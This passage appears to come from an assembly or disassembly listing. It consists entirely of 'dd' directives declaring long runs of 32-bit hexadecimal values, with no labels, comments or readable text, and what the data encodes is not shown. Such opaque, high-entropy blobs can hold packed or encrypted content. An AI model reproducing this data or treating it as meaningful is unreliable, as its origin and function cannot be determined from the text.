0C2044304h, 0C4D05D03h, 2E6EF7h dd 6345F854h, 0C2442387h, 9B1C2B00h, 0A2D7DF78h, 0BEB80079h dd 3C81B0F0h, 2D09F307h, 803824B1h, 438D1BE0h, 3592249Eh dd 0C687BE94h, 0A0D639DCh, 0C2ED1294h, 0BDAE2A00h, 0A632169Ch dd 740203FCh, 0E3F0E04Bh, 64CDC9A1h, 3F05C134h, 219910B3h dd 0AFFACE0h, 2B3D844Ah, 9FF61CDAh, 5828CA4Dh, 94A98498h dd 0F558A444h, 12B55400h, 0CA059279h, 0EF48C0C7h, 8648FDF1h dd 58DE4405h dd 8041F7ADh, 0B2A6A7EEh, 228C4087h, 1740B04Bh, 4FFE1C98h dd 0E1835B12h, 8472B880h, 38A37EB3h, 68803092h, 0C3255D36h dd 8924A967h, 607130Dh, 32F014C1h, 706AB8h, 573E84E2h dd 0C2E5223Bh, 5578AF62h, 676075ACh, 4F7C91E6h, 0F800E77Eh dd 65EFF8Eh, 0FE8132Fh, 599C07A9h, 86C1038Eh, 800B7C6Fh dd 0E518B3F8h, 0B2FE8B21h, 0B0CC05F0h, 601B389Dh, 0FB044DF0h dd 83C06499h, 90016F5Ah, 50A900B9h, 0EFD32189h, 0BB6EFE88h dd 0F46A5EF0h, 143F39A0h, 16BED33Dh, 5CC03031h, 0E2B58145h dd 714D6708h, 5488D043h, 0B2057F57h, 7DAED411h, 83EB4060h dd 70ECF9CAh, 8FF8C035h, 2A075DFCh, 24B4EDE8h, 0C9003E13h dd 1104C2ECh, 0EEE10089h, 57DD7561h, 0AD00BCB6h, 8BC54658h dd 0C03D225Ah, 0D1491980h, 8309A1FAh, 6FE97F1Dh, 12FB00F0h dd 0B8C47D8Eh, 0A8966324h, 20835201h, 0D020C657h, 0B9100ACh dd 346F1A2Fh, 0C7FED6C5h, 0DD7CDF02h, 0C02D7522h, 8C4818h dd 522CBA07h, 3BE410E8h, 0AAAFCCA8h, 0DC00A64Eh, 737BBA90h dd 89D005A1h, 416F16D7h, 47345D9Ch, 0D052FD40h, 4D493E8Bh dd 0B45A0670h, 1294C09h, 0E2241342h, 50C4070Ch, 0DE3C57A8h dd 9CF96900h, 83B78F08h, 17347E03h, 1FE3CEF6h, 16C7DC88h dd 0FF380551h, 8C24C02Bh, 0F226E8D6h, 0D300D447h, 0C4A86242h dd 60C702B3h, 0C239C358h, 80A03BC2h, 0A5B984D8h, 6E3AEB0Bh dd 0E78CC6CBh, 8BB0D0h, 4A130B0Dh, 6D9801E2h, 98BC7E79h dd 0DDE71A05h, 6C6E9B00h, 57FCF8h, 3F25B238h, 43AA7348h dd 44F15F0Fh, 5BD320F7h, 0FAE6095h, 7F21DDCh, 0B5844800h dd 0C800A394h, 0D0D7A45Eh, 0AD5256h, 96BD382Dh, 0DEE6F0F9h dd 3BA53Fh, 0D1D95578h, 8E1936h, 0B43568F8h, 1D9EB086h dd 94501376h, 4701AB88h, 6B0CB98Dh, 0DFE0ED64h, 41D80075h dd 677F177Bh, 3901ECADh, 0D72614A9h, 0CA00610Fh, 2A002B9Dh dd 3F178BB5h, 0FFFBA1h, 0E5D18906h, 0D2CA776Ch, 18DF7305h dd 189002ABh, 0EEEC17h, 0C5D57A7Eh, 3BBF4267h, 28265B00h dd 0AB83B024h, 315D2F2Dh, 9991F880h, 92306Ch, 7D822600h dd 27DAD4D2h, 8B7200EFh, 281D022h, 61C1854h, 9C425DE1h dd 48929A88h, 6B9B3Ch, 1896C140h, 525C1E3Ch, 17120371h dd 5449DA0Ah, 20DCC44Dh, 0E4011407h, 0A9C6436Ah, 0EBF8A619h dd 3E37ECBh, 45F91A81h, 54A0FD2Ah, 0C300E646h, 87AB113Eh dd 7995748h, 158D305Bh, 0CB7E601Ch, 8C584DB9h, 6EBC00B4h dd 7F2752A8h, 0D6630278h, 999F2D1h, 0E49E7841h, 931E05ABh dd 0E780CE01h, 345939EDh, 91C488DCh, 3ED72300h, 0DA8E25A0h dd 182E003Bh, 0BDA18D15h, 6F7922E3h, 0E8EE85E6h, 0CDB40601h dd 824A7786h, 165C01D8h, 624DE65Fh, 0C16FE94h, 6FACD12Bh dd 840C6679h, 11BE111Eh, 3FB10151h, 47A44921h, 0D82574h dd 0DB5A7EA4h, 41BE3Bh, 704B3C30h, 0C1780FCCh, 49250638h dd 207CA0h, 4F41A474h, 11CBF3Fh, 642F9095h, 70031B59h dd 0D0A9F03Ah, 9CC06012h, 0EDE3BDA0h, 2F0BC49Bh, 5CC60098h dd 4D6BEB0Dh, 7A9C95h, 2CF6FE8Dh, 0E959B9DDh, 5096E0E5h dd 59CCC532h, 0B3ECC499h, 51D8E0Ch, 6F706118h, 9262ED09h dd 0E46CF8h, 0B68216DFh, 11D5A2EBh, 71911400h, 0E6BFC2AFh dd 0D3A8013Bh, 9B1875E3h, 3473E877h, 953C1003h, 0F5044BE0h dd 928EFC92h, 6C1480h, 0DF371704h, 6BDD1950h, 2D794700h dd 1D28B3D5h, 0E3B0023h, 8A786FEFh, 44003F36h, 0D9A5843Ch dd 5D0A376h, 8D8C8FA2h, 0FE8C05ABh, 4D70984Fh, 0D1E49030h dd 2BD8ADBh, 9FBC3CCAh, 78CE4157h, 0EF677D00h, 50017C15h dd 7495024Ch, 7231A961h, 0E388C0ADh, 1D22690Eh, 0B1204082h dd 493E26h, 0F143AB72h, 97186209h, 130048B0h, 1087B090h dd 72686Fh, 0C2053DC7h, 7AD106D4h, 0CCA6FC01h, 0C649C3B5h dd 25BA1030h, 14C31124h, 80B1BBB9h, 0E5ECDE19h, 0FCAA95D1h dd 44C901FDh, 0C4A9B1Dh, 0E05460D0h, 0C19F2404h, 7C0E5BC4h dd 80C72171h, 0A2A14BC3h, 0C506E06Ch, 4EBBBA38h, 14974C29h dd 1113C4h, 893D0A9Ch, 0CAE000D4h, 0EB32F73Fh, 0E712C503h dd 72090994h, 9D5460EDh, 99530169h, 83722BB8h, 0BE1280B4h dd 0B0F8DDC7h, 3D030085h, 7A93CD52h, 4B3DC8ECh, 5E007E2Ch dd 67DE5C46h, 7320D34h, 57C178CAh, 917D9022h, 2E7CB53Ah dd 0E9D1311Eh, 0A0154843h, 890CC0AEh, 24F47612h, 1DB7C2h dd 466177EDh, 90091A3h, 0E03C19F3h, 3ED802h, 0E5016BAFh dd 8D4C9559h, 18DE1C00h, 57350694h, 9B1A12CDh, 1164E0A9h dd 1C09F40h, 0B391213Ah, 0EC8E0D0Ch, 0E500F51Ch, 0DFE36687h dd 4C84F6Dh, 0A0BDD5CAh, 8DBFC0F9h, 6B05EAD6h, 72D3C174h dd 0B5090B4h, 0B2552685h, 52A24080h, 0E90B0DF4h, 0E0114B7Ah dd 54608D4h, 0CA945F2h, 0C6820001h, 0C180EAB9h, 0C8C57C09h dd 8F08F02h, 9CB280C2h, 1D8CA4BEh, 9FAB2F0Bh, 0EAE81B4Ch dd 0D1800E1h, 0FB131F16h, 5904AB8Eh, 64E2C6CAh, 7A2FBC0Fh dd 5C6C0A16h, 16260FB9h, 0B8569C22h, 0AE9003E0h, 9A687E13h dd 243C98B0h, 848CD731h, 0D72A966Bh, 5A9A0094h, 711666A7h dd 0ED1DD4A5h, 8512BB80h, 0DC1C6F5Ch, 0C4D8CB29h, 0BC29D829h dd 0C563D880h, 1109C8D3h, 0A8A56Ch, 83A684A4h, 814D395Ah dd 0CC100E00h, 74466094h, 1DEED4Ch, 0B23F7E7Fh, 0C2D9811h dd 0DD314383h, 54766102h, 5BF8215Ch, 0B513427Ch, 0DF43646Ch dd 0EC60224Ah, 0C4034054h, 9675FFh, 0D9C77C61h, 910330C5h dd 192FEC30h, 1208C426h, 4E66EB7Ah, 0DAA655C4h, 0EC0921FDh dd 94B1D71Eh, 43FE26F4h, 38806968h, 5CBEC2FCh, 40F739C9h dd 283DFF78h, 620EEC6h, 363A9DCBh, 0C80729D1h, 693CB27Ah dd 0F645C760h, 0ECC42922h, 2EF01374h, 8F2B3ED8h, 0E1B77F9Ah dd 0C7AE0192h, 7400F878h, 0C5CBD172h, 5F320728h, 184C51CEh dd 0EC7EEE94h, 0C79BA202h, 4085183Ah, 3E52750Fh, 5800371h dd 0CEC1BCAEh, 84035ADCh, 0A3197688h, 52E788FBh, 377E074Ah dd 31C5472Fh, 44C0E91Eh, 1478A0E8h, 0EFA0EB0Ch, 0D180EDh dd 7846735h, 58EE2739h, 881B974Bh, 49C09838h, 60309CD7h dd 0DA21947h, 2836F805h, 1CC81C5Ch, 1D9E019Bh, 3739E0F4h dd 0E1F0344Ah, 31D90103h, 88A46AA8h, 41E0B34h, 3FAC2368h dd 4534B04Ch, 0D452082Eh, 0C29F5703h, 0E13BF89Bh, 7F4B5Ch dd 2E94764Ch, 0E84C6290h, 0D87787F8h, 0F386E210h, 0D2700F1h dd 0F055DF0h, 7902C2F2h, 0A23CF74Eh, 28B4A1DDh, 0F852D609h dd 28B44571h, 0D69800FDh, 6AD730AAh, 0EA30966Dh, 59B7312Dh dd 0DC2B00F8h, 0FC31B1B8h, 0A74D33CAh, 40DE0030h, 9181289Ch dd 0BCF3009Bh, 1A0284ADh, 498DA78h, 801EA89Eh, 0DE7FDB41h dd 7424EE66h, 0BACF2CDFh, 1DB622Ch, 35400Ch, 79D8DC81h dd 75C2336Ah, 981D400Eh, 491520EAh, 4CDB51C1h, 0C40358FAh dd 0C70759C2h, 8F0C0980h, 227A2B00h, 0AE3DE858h, 91A40660h dd 0E068C39Fh, 9E523A00h, 2F6ECC0Fh, 82574F58h, 24C0AB80h dd 5C00C91Ah, 575B95Ah, 2E2D6E4Fh, 1FE80B41h, 7B8B4058h dd 6AE879B0h, 0C8D8A700h, 0A911B87h, 3ED026CBh, 0D3700F1h dd 821E5CEh, 0A695501Ch, 89C5359Eh, 88A0DB16h, 0F07E0091h dd 0DA4A48F5h, 740032DFh, 8BBAEA1Bh, 5C9DE615h, 1E00B316h dd 8EF380E2h, 59772DEh dd 0E8B062FCh, 48350745h, 50182C1Ch, 6670FDF4h, 6068AE25h dd 12AC57B0h, 0A038FE3Eh, 80052238h, 33194382h, 100CC3h dd 2B0B6FCEh, 24BB72BEh, 0C9CD7100h, 0E3D980D5h, 0E19A00CFh dd 6E4DFBF7h, 0B90044EEh, 8FB4313Eh, 7B9447h, 0A49E1145h dd 0E0A0E932h, 6E44600h, 516444D7h, 6A9C092Eh, 18200F41h dd 0EB677F4h, 8F361109h, 1AAC00FDh, 0B14497A3h, 99BA884Ch dd 0E9F8028h, 932C41B0h, 89F191E9h, 8862D852h, 6500D8B0h dd 5D5E1D3Ch, 19F46BD3h, 0FB474500h, 3600F68Dh, 277389FEh dd 30EA1412h, 0A24829B3h, 0AD305AF3h, 0C6E111FBh, 0CC79003Bh dd 27C3D2CBh, 68F4BC24h, 2D7D100h, 6E3428E4h, 0C95909D3h dd 40009B43h, 470F3A4Ch, 53F47500h, 0E83C4F26h, 0A09CC9h dd 14949261h, 4E0058F7h, 0BE1C373Bh, 904CD949h, 73B70060h dd 0D2A29CCh, 1E018682h, 0ACA2CEA5h, 6083F7B8h, 5A3315A9h dd 543C72C8h, 4960F3F0h, 0C0B3E2B0h, 0BAB70034h, 0E90E7FA3h dd 23009FC5h, 1A67B838h, 0A54801h, 51703345h, 78AECDE1h dd 637890Eh, 0CFCCD861h, 1CA2FEC1h, 558C2AFh, 0F312C6h dd 6B7223C0h, 900819Ch, 9D1AC96Fh, 12BD2FA0h, 9FB504h dd 3ABFD8E5h, 0CF00C0BCh, 8D7C40DCh, 565F0h, 0D3249CD9h dd 4BC29348h, 80770800h, 0F44D41F5h, 37A706DFh, 1A47238Ah dd 0A857201Dh, 0F314D2h, 97868EBCh, 0CD18892h, 0DB76474Fh dd 0FD066B20h, 0E4210EE9h, 0C660071Fh, 2ADCB781h, 7E868300h dd 1CDDA23h, 0EF3A0322h, 0F89A99Dh, 209821F1h, 0A03B078h dd 1CA38211h, 6C8F88FDh, 77D514E5h, 5D00BC76h, 0C63AB85Fh dd 0E95A908Dh, 0DA7028C7h, 31647Bh, 294D42BCh, 0F540ACA6h dd 30D31651h, 0E4FAB21Ch, 26C0C25Ch, 1B9A8B4h, 7E121C29h dd 2AEDAA98h, 3B4BB187h, 71DB10A7h, 0E00D4DCh, 0AA647395h dd 0DEEE8BB8h, 25ACC4B8h, 5654437Eh, 0B840C0B5h, 2C1100A1h dd 14098988h, 63007793h, 5E5CF801h, 342969h, 21BE900Dh dd 8877E7Ah, 0D8C0564Fh, 0DC8494Dh, 0C1BB29E4h, 104560B9h dd 5A898C96h, 9764D0C3h, 0FEF98D40h, 608CEB4Eh, 0DC13844h dd 4A8479AAh, 13404009h, 0E1F7118Ah, 32361515h, 37510FC0h dd 0F01E51BAh, 0E34140CAh, 0CFBD3DDCh, 95252C00h, 801336B7h dd 0F81F009Dh, 0D04A05FAh, 0D20133A9h, 381A86BDh, 0D828F1A4h dd 6CE5E900h, 6556B580h, 72C8A863h, 90B89D82h, 0DB749980h dd 6D0412D4h, 11F67A41h, 7FCE0h, 0B94C625Bh, 4A7E049Ah dd 54A31401h, 0F315F6BDh, 480A85F0h, 0D83B607Ch, 92EE3F9Eh dd 9C480746h, 4A73B388h, 0BE00117Eh, 0F0F2FC9Bh, 228073Dh dd 7EFEFF1Eh, 0AD414554h, 3A1BD4CDh, 0E1016F76h, 0ACD2F98Ch dd 0BDDCB42Ah, 78D80139h, 6974B22h, 70E2FD35h, 0BE1D383Ch dd 2C0C1C6h, 13B073A4h, 32B10FDEh, 801ED745h, 0B69FEB8Dh dd 0C4071F99h, 0B05E65DFh, 36723780h, 2BDE27CDh, 318008C0h dd 0ED45B502h, 6ACB6C10h, 62105EFCh, 0A400083Bh, 26768C22h dd 174FCF2h, 3CA97CECh, 95E2D8F6h, 0A84CFA05h, 0A040530Bh dd 939B5723h, 8DE7A0C1h, 194113CFh, 5EB8048Fh, 0FAAF4934h dd 0E2490058h, 41EDAAA3h, 0CB0098BBh, 8D2CBF76h, 18891E99h dd 0E8ADEC4Dh, 1600834Ah, 0B425E6DDh, 786E1B66h, 76A02809h dd 569F00BCh, 0C39F347h, 0D313C77Fh, 7800AD68h, 0AE0558EBh dd 0BB450EF8h, 0E4A307A7h, 858A2432h, 4C5E0042h, 0EE181E01h dd 50803FB7h, 0B466E7AEh, 2800D5D0h, 106C8B0Fh, 50C82C90h dd 9A39C096h, 162F0000h, 2A1C5B43h, 9A007DF8h, 0F4E32DADh dd 7A2694C8h, 4674C88h, 2E11BF00h, 3EEB6B13h, 82190B00h dd 0CEAE921Ch, 3F4A00B8h, 0D9BB9B02h, 0DE71262Dh, 0C66B6C00h dd 66127D47h, 0FD40068h, 70E1A732h, 7B508798h, 153952A8h dd 33D9EACh, 7329A6C0h, 118E80h, 0FF946D6Ah, 67FB5A42h dd 8A329000h, 9C180D8Dh, 6660E74h, 0EF205DE3h, 0E2B347CAh dd 0BCB0AE00h, 0A5AB83A9h, 0DB900E4h, 0AFE96855h, 14B07BD3h dd 791A7100h, 26B0CC15h, 0F8E2079Eh, 6FA83D1Fh, 0A1DC0AA2h dd 0C998D868h, 40F825Ch, 0F99B4ACh, 0C4DA2C80h, 291810D6h dd 2B0207FDh, 0DC85E3F7h, 0F0E268C1h, 4A2899E3h, 2501CC4h dd 5F1EAC6Dh, 284988D2h, 570EC4BFh, 0B49758h, 29340D8h dd 56E5C94h, 5E8CB9CDh, 2294E814h, 0E4621399h, 0ECF480C5h dd 0F700425Ah, 4EF8B756h, 0E8EA9AEh, 61949FDh, 804C5DE7h dd 0E436A748h, 72E39500h, 0FC2CAB5Ah, 0A2D70062h, 574283B8h dd 0CD09E7A5h, 0E3DA86F7h, 9B6FC8B4h, 621008Ah, 0B585DC0Eh dd 504A880h, 0CB55B2BFh, 0E6443C80h, 287E05FCh, 803C222Eh dd 0C6D1F953h, 0B9E29BE0h, 0C4B01409h, 0DDF0008Bh, 109EE20h dd 0B31097EAh, 607C162Bh, 0D70018C1h, 95BB6E13h, 0B6320Eh dd 7A6CAD54h, 9F193912h, 2D049195h, 98340E10h, 72FBE126h dd 0CAEFD00h, 26A25E1Ah, 1E081833h, 20D7018Bh, 0FCC3049Fh dd 97F4E0h, 0E314DE84h, 0FC500D1h, 579BB9C8h, 2014FF8h dd 0E954EB43h, 3FD0BBh, 0B499B8CCh, 69161487h, 0F0018AB3h dd 930585A2h, 15FC9C0h, 0BE8BA6C0h, 3B0E8CFBh, 6EC45Ch dd 8FB8A807h, 72779F20h, 0ADCB4CCFh, 0A7058A00h, 0B0741AEAh dd 59F60B04h, 0A781DF62h, 4AE4964Ch, 4661285Ah, 0CB66009Ch dd 6AA5CA31h, 80E2216h, 0BDE96B32h, 0A3EEAFC1h, 0D43859CDh dd 637C0A2Ch, 60020886h, 0B735629Fh, 1D8F6C1h, 36338109h dd 0AA442415h, 16CFE4Dh, 80BF96ECh, 0DAED9789h, 6B003C79h dd 3E94520h, 250F6536h, 9B4E56h, 3C214319h, 0FD331310h dd 0BC0315Fh, 32B40018h, 82861EBCh, 0DAAB030Ch, 1EE0BE51h dd 6F009511h, 8358C6C0h, 82160h, 31B49072h, 0DE6B640Ch dd 9457AC07h, 0FBC43CF2h, 421A34E0h, 0CC017336h, 8C2119EDh dd 0B180AD1Fh, 6B4688A5h, 7498F179h, 0C9C02297h, 72D90121h dd 0B93FC460h, 0F56F1A00h, 91239F43h, 0DF2500AAh, 0B850D44Ah dd 4102ADBCh, 0FB18083Dh, 0E374E169h, 16217C4h, 394CBB3Ch dd 6CC9F702h, 2CEB09D8h, 2310006Dh, 965ADBCFh, 83A91E5Ch dd 26E58F78h, 26272158h, 0F5000DF8h, 2BDAB2A8h, 2E254C4Fh dd 9AF2A303h, 71D06AC0h, 1004329h, 0F7F15BA7h, 38A02F48h dd 7008F92h, 0B0335CE2h, 44007A34h, 0D3E94BFCh, 0BD2CEFh dd 5D681C7Dh, 0A18DB924h, 0DB2F8E03h, 0B0986A4Bh, 3549B7h dd 0BA67E188h, 0EB156236h, 16A45759h, 10E07E17h, 70A60B68h dd 0E870584Fh, 0BDAD4250h, 33E32900h, 5CCBFF05h, 2666002Bh dd 1F4D3048h, 36001B35h, 18651D76h, 31F4787Ch, 0EF88917h dd 9C56C672h, 0A85342h, 0DF76DCCEh, 0D4CF6800h, 0B66BA135h dd 974D208Ah, 0F4EE3C07h, 0C760CAD3h, 0B46EAC3Dh, 0E84900E8h dd 0DCEFA8A1h, 977DA700h, 744014B8h, 0E2F47FF2h, 33DE00DBh dd 958D9804h, 7A1DFE9Fh, 4B07807Bh, 44A0063Ch, 4BB6F715h dd 0CADC0288h, 8400D975h, 1ED82270h, 3F3B07CFh, 0AF7F1480h dd 0A04CC447h, 31BCDB03h, 0B011D2F1h, 5B7B18h, 0D78F2AD3h dd 0A63ECBE7h, 0BB02FF9h, 0DFAC00EDh, 75981E17h, 4F009172h dd 6AF40330h, 0AD02C4h, 857D2B5Eh, 2393CBF0h, 66498F74h dd 8B7C00ECh, 42B4EA9Fh, 6FE40037h, 77737202h, 8216621Ch dd 0EF002C18h, 0A40C3C2Ah, 2652033Eh, 0D06BC4BEh, 0CD7CEA88h dd 95FFEB0Eh, 0A68220F8h dd 6A21193h, 793E1CCEh, 7F1D681Ah, 0F89EBD99h, 0E5C2E606h dd 21B61208h, 9FC01EF2h, 3C91F0Ah, 7A590439h, 31FEA109h dd 1B202099h, 60C25B02h, 4DCE081Ch, 63005146h, 0EB5560FBh dd 3FD3D2Dh, 81EFC58h, 85B78516h, 2A080030h, 0E602E3CAh dd 1B3A9F18h, 0D7C899h, 4D43160h, 0F9CA7E0Ch, 8D951A00h dd 0B1FE16C6h, 0B963009Dh, 4A1D939Fh, 99602EFAh, 5AEA8340h dd 0A10473C0h, 87F20658h, 0A05F7FB2h, 1892385Dh, 0DAA43D6Ch dd 0F104E080h, 0AEF36649h, 7C14E800h, 1C3E825Bh, 5FA0012h dd 0E0BA7AB4h, 0C51D73C7h, 0EB8077C2h, 0DE429D06h, 0D49500F8h dd 9858E4DDh, 0C001BCDh, 2D11B807h, 79EA1A3Fh, 0DBD9C006h dd 4B865FB9h, 9332D11Dh, 77E0A000h, 9F259Eh, 8907EF16h dd 0D23BF66h, 43CC802h, 81BE8E54h, 989060C8h, 0F24FBC50h dd 0C3A50728h, 0F0242CF1h, 16968E2h, 20013FB0h, 0D8BE38Ah dd 308F191Dh, 5038B482h, 2900F725h, 6798A4EFh, 0FD209Ah dd 0DA877A55h, 0B13E04B5h, 0B4C8A803h, 933697h, 414A8B71h dd 3DE81F7Dh, 797E6D7Ch, 8C5F4800h, 8D2E40E4h, 47C7Ah dd 25C5205Dh, 44619DBEh, 0BA6A2916h, 30FBE305h, 0F933B081h dd 174C330h, 7F1D65F7h, 9281190Eh, 3000BEA9h, 5D6FC83Fh dd 9DC6008Ch, 0D1A2B352h, 91004045h, 5F4CF80Fh, 7F1B2A0Dh dd 1E4BE034h, 0F7CEDC88h, 15EBB029h, 0A003102h, 9278CB75h dd 60B23516h, 5F27208Bh, 303DBE08h, 88228F8Eh, 0A349E037h dd 0F0FFCDC6h, 0B131002Fh, 0C1D0CEA0h, 0D9E8C213h, 0C8ED08C0h dd 301FA2FEh, 0B0305BB1h, 500A70Ch, 9427072Ah, 7A08949h dd 0DAA28555h, 0BA808E17h, 0B7290415h, 0EA10286Ah, 0D2D17B03h dd 5F34C0A4h, 30CF18D5h, 7C449066h, 58E37700h, 6045DAE0h dd 5AE718E2h, 0C9B0E027h, 0F326BE13h, 0ED1E8300h, 1D31C241h dd 3E6648F8h, 4A1107B1h, 84C188Dh, 6E191B99h, 1D664F81h dd 46034E0Ah, 4456129h, 0DAFC5286h, 18A97C10h, 21334E01h dd 90188A07h, 4AB8BEDDh, 0C09CCA6h, 921D6721h, 1839A90h dd 3E3652D6h, 0A70FFD19h, 80FDE55Fh, 3DF2E857h, 3000CDC1h dd 813A5C98h, 30424567h, 3189D5BAh, 7C00F0E7h, 0A613D15Ah dd 0E8100952h, 1621C0CDh, 2443F0FFh, 0E7947700h, 9555C453h dd 60DEF471h, 4F7DD1D8h, 6E00A92Eh, 7BCD14AEh, 1F2F8573h dd 40EB0B94h, 0A1B0541Ah, 80A6D3C5h, 0F4B93C60h, 2F9AB5Ch dd 8F5DE8BFh, 9490D429h, 0A603B0FFh, 0CE7CDC7Dh, 0DFF5E13Fh dd 0C22100E7h, 594E8909h, 33332A15h, 0C80921h, 89016221h dd 5B6997E7h, 0D4729500h, 0FAE03A42h, 0CDDE3335h, 98D08629h dd 6A00660Bh, 9CF86F9Eh, 60B9A396h, 1AF089D8h, 0A83B54FAh dd 7402730Ah, 9AE15DBCh, 11E09D2Dh, 20C09D1Ah, 0A3EAF1AEh dd 5DC206CAh, 71DAB8F4h, 75073470h, 69599C50h, 0B4CE5A70h dd 4FC62030h, 89020246h, 9EBEE290h, 70170F31h, 776F9091h dd 1E81803h, 2EC0B944h, 0F76269h, 8E7E0A13h, 0C50319DBh dd 3A0FE4C8h, 2A56D8D1h, 0C8B0C47h, 2751BD35h, 1872813Ch dd 0D311DBBFh, 0EC4A5451h, 0E15C143Dh, 2EC8C9Dh, 483DEE8Ch dd 10032082h, 518A5908h, 31C9DCC0h, 804729CDh, 986138E0h dd 0B84E4550h, 8F024670h, 8EBEE090h, 70110331h, 0B58C4097h dd 0D43975DDh, 31FA1902h, 47E499C9h, 0B47E01CFh, 0DD810CCh dd 8753C85Ah, 1588A04Dh, 14A4C84Ch, 3F64B4DCh, 0E28CD4DEh dd 0CB44EF00h, 0FBB0DC64h, 337162h, 0F69584D0h, 36E8269Bh dd 855340Ch, 45CB4946h, 0DF54F03Fh, 0EB7161C0h, 49AE4C3Bh dd 297FA4D0h, 8C0C98Bh, 529F3858h, 0DD3B4170h, 4A8E00ACh dd 0B01A6FAEh, 1C736704h, 6F807B48h, 0D03D2031h, 92A4DBh dd 0A1389CDAh, 3AB819ABh, 52DE7F0Fh, 5E91381Fh, 0B3DC88D4h dd 2F692666h, 624A40C8h, 3DE621C5h, 0DB65AC04h, 4D3C0812h dd 83F0E0C0h, 2AD9465Ah, 0F8F48437h, 0B1DCF000h, 448B33E3h dd 7DF2602h, 0D1388420h, 804D8F8h, 595B8908h, 4ECAC40Dh dd 5A890067h, 0A86B2B7h, 3E5BD36Bh, 60A0A498h, 5E6144A7h dd 0B0F63Ah, 5C3463D5h, 3FB98AE8h, 0D3831029h, 128870ACh dd 7F40829Ch, 233F4A04h, 31410319h, 0AEB8D53Ch, 86245E85h dd 4789F4BBh, 540890B9h, 0B60E0020h, 76521155h, 0C1C14EFAh dd 0A6DA1525h, 48B951F4h, 0B084240Fh, 0D0224A26h, 5518E128h dd 0FA20492Fh, 1C41C034h, 0A32EC242h, 0DE110700h, 0FDEBFF02h dd 9F4932D4h, 3C66B390h, 7C020346h, 36BEE790h, 7D00E847h dd 8C719084h, 0FFC99B9h, 0B60061DCh, 56FAB374h, 3D3E6F14h dd 1C8C77E8h, 5359890Ah, 61EC381Dh, 0CD890200h, 72E5AEE3h dd 285D581Eh, 0C86AEBC0h, 5905A112h, 3FFFB273h, 0D623302Bh dd 2C58D285h, 0B1349443h, 0AA210AA1h, 11884936h, 907D8006h dd 0A73EBEE6h, 857200F8h, 65428A90h, 5D280F01h, 9C5DC89h dd 0D3472185h, 0E5908852h, 0C7814601h, 6A553785h, 0A442B035h dd 0F0E13040h, 465A8E3Ah, 6021CA37h, 0C814F0F9h, 0F324D700h dd 8DE2B70Eh, 0AABCA06Ah, 0E6CE145Dh, 6842F028h, 2B300DE2h dd 715C0038h, 0CE41C1CBh, 0BA4C69DEh, 0F2DF8114h, 0FCC9C8Fh dd 88A5C74h, 0A4D7DE15h, 0CA57BC00h, 0E266F1E5h, 5A019CECh dd 3352219h, 4AD4828Fh, 907726BBh, 0D81B61CCh, 12D3CCBEh dd 5DBA6300h, 34EA0DACh, 5355F416h, 8800A04Bh, 9247F609h dd 1605350Fh, 4FE343E4h, 0B012EC8Ch, 485100E7h, 0E19E86Ah dd 500B470Bh, 2634EDh, 273740A8h, 0DC31C5D9h, 774498CFh dd 8B18CC7Fh, 257948F9h, 71E70044h, 0D5C6BBB3h, 8CC73CAh dd 6EC2139h, 526EE74Ch, 0B300490Ah, 7B09921Eh, 0F4DA8205h dd 0C16E0097h, 4336E0B0h, 6F02595Ch, 0FAA54641h, 0B01F2730h dd 942609FBh, 0FDE16000h, 0E303969Eh, 92810958h, 0AC1D3677h dd 0BF8CCA11h, 2B0CC478h, 71205AD2h, 0C58A3134h, 29C2B929h dd 810F3D10h, 4276841Eh, 0AFE8B691h, 47D50087h, 0B3734AE2h dd 0ED17A0A1h, 14603276h, 60E02941h, 72AE48D2h, 4C56FDC6h dd 8F771FB0h, 0E1B2B102h, 47146257h, 67C844FCh, 0E5F3800Fh dd 148517F4h, 64C4B434h, 4F77CF22h, 977A2600h, 0F553C90Bh dd 0CBD400B5h, 0BF437514h, 884C34B8h, 5BA58000h, 90294A9Eh dd 0D1FC919Ch, 12B7180Dh, 22F8089Eh, 0DA603F0Ch, 28EC4D66h dd 6FB1F900h, 0A3922E55h, 7C360540h, 8022BA45h, 3F1A5462h dd 0C5B93D18h, 0C33C1h, 1146E0CCh, 0D59C2C1Fh, 0FD75C300h dd 311C6DF8h, 0A29D0032h, 0E35DE582h, 21E8A1DEh, 30D4F901h dd 88CE5A81h, 18F83028h, 0ED20FF8Ch, 107F0247h, 513DB30Fh dd 4E1BB098h, 49940B00h, 0A942E8FEh, 378000B5h, 0E45E0408h dd 0B22CB08Ch, 0D384085Fh, 0E4892247h, 588CB445h, 0FC910064h dd 48CFBBBCh, 41075766h, 21EA7723h, 0F041F607h, 34225ED2h dd 8464216h, 0E5802CF8h, 99D7EB34h, 5081097Dh, 80ABF186h dd 1B56A401h, 5D298024h, 46C10FEFh, 0C980E7B9h, 65CFEC4Ah dd 0D61EC45Bh, 3A00B69Dh, 63D88D10h, 17545C1Bh, 412D058h dd 34180227h, 0D4E4DABDh, 8550524Dh, 0D8943FB9h, 0CAF2CCA2h dd 20FDD30h, 6BBAA407h, 0D0520676h, 0D991DF00h, 31614D6Ch dd 0BADD7B88h, 2DAA33C4h, 0C098AF81h, 3901DF1Ah, 8916195Eh dd 29805C3Dh, 2363DE28h, 0C002B0C6h, 30498F3Eh, 0BEAC8118h dd 299F5855h, 0A2880EF8h dd 5F518E81h, 12F42D56h, 8CDAA874h, 3022D8C7h, 0E2A41C85h dd 0C35E5300h, 0C784DC81h, 4F891321h, 0FF040846h, 44D00BC7h dd 99296559h, 394606Ch, 0E016789h, 0D36E8D75h, 0A4092C5Dh dd 88A66CB2h, 0D3DE8506h, 35310011h, 5A246A91h, 86004A56h dd 98D792EDh, 2A6EF50h, 4E4CA110h, 86C15FA9h, 0E438807Ch dd 607B114Fh, 12709AE9h, 319ECA2h, 5B78A400h, 0B17BACA0h dd 5FF1E719h, 21DC7380h, 51900120h, 0E5DD8A98h, 0F1BDF4E4h dd 94227F0Fh, 0E021A076h, 0E43D26C1h, 0DA1B3DB3h, 34685307h dd 0B9B1A058h, 0FD092B59h, 0CBB2DC8Fh, 4455FA00h, 36FA33C4h dd 7AB049F9h, 3A007079h, 2FEDE91Bh, 1875A1CFh, 4955E1B1h dd 5D07F671h, 5844A2DCh, 0A6EA9210h, 0ABE624A9h, 0CEC10094h dd 44D1A3B5h, 805F5C00h, 39DC5773h, 0C0E0E89Bh, 1BA08608h dd 0C90ECDBBh, 80C6F025h, 0BDB50F14h, 0C1FA1F11h, 0DBEC0FD7h dd 0F7EDD980h, 91E20C6h, 0B20EC3CEh, 10158C95h, 0C12A00D6h dd 0B01210B4h, 200F08DCh, 20CBE4A8h, 0DDBCC7F4h, 0CAF700BAh dd 